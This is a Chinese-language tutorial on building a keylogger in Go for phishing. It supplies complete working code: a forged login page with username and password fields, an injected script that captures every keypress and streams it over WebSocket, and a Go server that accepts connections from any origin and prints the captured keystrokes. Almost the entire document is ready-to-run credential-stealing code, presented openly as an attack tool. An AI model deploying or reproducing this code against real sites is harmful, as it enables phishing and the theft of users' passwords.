Go黑帽子|键盘记录器
伪造一个网站页面,诱导用户输入用户名和密码,记录下按键并将其发送给服务器
伪造页面
在伪造页面中引入k.js
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width">
<title>JS Bin</title>
</head>
<body>
<script src='http://localhost:8080/k.js'> </script>
<form action='login' method='post'>
<input name='username'>
<input name='password'>
<input type="submit">
</form>
</body>
</html>
Go键盘记录服务器
解析命令行参数
// 在main之前运行,用于解析命令行参数
func init() {
flag.StringVar(&listenAddr, "listen-addr", "", "Listen address")
flag.StringVar(&wsAddr, "ws-addr", "", "Websocket address")
flag.Parse()
var err error
jsTemplate, err = template.ParseFiles("logger.js")
if err != nil {
panic(err)
}
}
接收来自k.js的websocket消息
func serveWS(w http.ResponseWriter, r *http.Request) {
conn, err := upgrader.Upgrade(w, r, nil) //升级http为websocket连接,该函数处理的任何请求都升级为websocket
if err != nil {
http.Error(w, "", 500)
return
}
defer conn.Close()
fmt.Printf("Connection from: %s\n", conn.RemoteAddr().String())
for {
_, msg, err := conn.ReadMessage()
if err != nil {
return
}
fmt.Printf("From %s: %s\n", conn.RemoteAddr().String(), string(msg))
}
}
通过访问路由k.js,来运行logger.js
func serveFiles(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Content-Type", "application/javascript") //设置响应头
err := jsTemplate.Execute(w, wsAddr)
if err != nil {
return
} //向logger.js中写入wsAddr
}
设置路由
func main() {
r := mux.NewRouter()
r.HandleFunc("/ws", serveWS)
r.HandleFunc("/k.js", serveFiles)
log.Fatal(http.ListenAndServe(":8080", r))
}
完整代码
package main
import (
"flag"
"fmt"
"html/template"
"log"
"net/http"
)
import (
"github.com/gorilla/mux"
"github.com/gorilla/websocket"
)
var (
upgrader = websocket.Upgrader{
CheckOrigin: func(r *http.Request) bool { return true }, //检查websocket允许接入的来源,此处允许接入任何来源
}
listenAddr string
wsAddr string
jsTemplate *template.Template
)
// 在main之前运行,用于解析命令行参数
func init() {
flag.StringVar(&listenAddr, "listen-addr", "", "Listen address")
flag.StringVar(&wsAddr, "ws-addr", "", "Websocket address")
flag.Parse()
var err error
jsTemplate, err = template.ParseFiles("logger.js")
if err != nil {
panic(err)
}
}
func serveWS(w http.ResponseWriter, r *http.Request) {
conn, err := upgrader.Upgrade(w, r, nil) //升级http为websocket连接,该函数处理的任何请求都升级为websocket
if err != nil {
http.Error(w, "", 500)
return
}
defer conn.Close()
fmt.Printf("Connection from: %s\n", conn.RemoteAddr().String())
for {
_, msg, err := conn.ReadMessage()
if err != nil {
return
}
fmt.Printf("From %s: %s\n", conn.RemoteAddr().String(), string(msg))
}
}
func serveFiles(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Content-Type", "application/javascript") //设置响应头
err := jsTemplate.Execute(w, wsAddr)
if err != nil {
return
} //向logger.js中写入wsAddr
}
func main() {
r := mux.NewRouter()
r.HandleFunc("/ws", serveWS)
r.HandleFunc("/k.js", serveFiles)
log.Fatal(http.ListenAndServe(":8080", r))
}
logger.js模板
在js中通过keypress事件获取按键代码,并通过webSocket将消息发送给go服务器
(function() {
var conn = new WebSocket("ws://{{.}}/ws");
document.onkeypress = keypress;
function keypress(evt) {
s = String.fromCharCode(evt.which);
conn.send(s);
}
}) ();